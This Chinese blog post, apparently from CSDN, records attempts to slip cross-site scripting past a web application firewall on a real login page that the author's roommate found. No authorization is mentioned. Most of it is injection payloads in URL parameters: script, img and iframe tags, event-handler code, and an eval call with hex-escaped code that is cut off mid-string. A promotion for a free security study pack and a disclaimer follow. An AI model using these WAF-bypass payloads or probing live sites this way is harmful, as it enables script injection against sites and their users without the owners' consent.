今天室友遇到一个好玩的网站，下面是一些尝试绕过Waf进行XSS的记录。首先该网站没有对左右尖号和单双引号做任何过滤或转义。且有未知的waf或者其他阻止恶意访问的手段。
首先我的访问为 login.asp?f=1 时候，页面关键源码为
可能是表示登录次数的一个东西？（猜测） 现在我们知道的信息是参数f会填充到 loginflag这个隐藏框内。
尝试
首先做一些基础的XSS尝试：
script标签
login.asp?f=1"><script>
直接触发waf
img标签
login.asp?f=123" <img onload="alert(x)" src="
/login.asp?f=123" <img src="
可以正常的释放引号与尖号，也可以完整释放出 img标签。但是只要和on事件搭上边，就触发了这个waf。https://www.w3schools.com/jsref/dom_obj_event.asp 这里的一些基础事件都做了尝试。无解。
iframe标签
login.asp?f=123"> <iframe SRC="https://www.baidu.com
可解，但是总觉得没有弹窗是有点不爽的意思。
继续尝试执行JS
尝试使用H标签，例如h1
我们又回到了waf上面，尝试了alert、confirm、prompt都被拦截。但是可以console.log。
login.asp?f=1"><h1 onmouseover="console.log(/cxk/)">Hello</h1><img src="
这就有点再次陷入尴尬，还是没有弹窗。不过我们已经可以执行js了，可以使用eval轻松的绕过。
login.asp?f="><h1 onmouseover=eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x6
总结
首先肯定是不存在大小写绕过的，不然也不会这么费劲。我们不难看出，该WAF主要针对两点做了一些手段。
- script标签
- img标签的 onXX事件
- onXX事件里面不能有弹窗函数 alert、confirm、prompt
治标不治本，当然针对XSS最傻瓜的处理办法还是不要放过尖号好引号。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享（安全链接，放心点击）
同时每个成长路线对应的板块都有配套的视频提供：
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料
所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~
读者福利 |CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享（安全链接，放心点击）
特别声明：
此教程为纯技术分享！本教程的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本教程的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失。
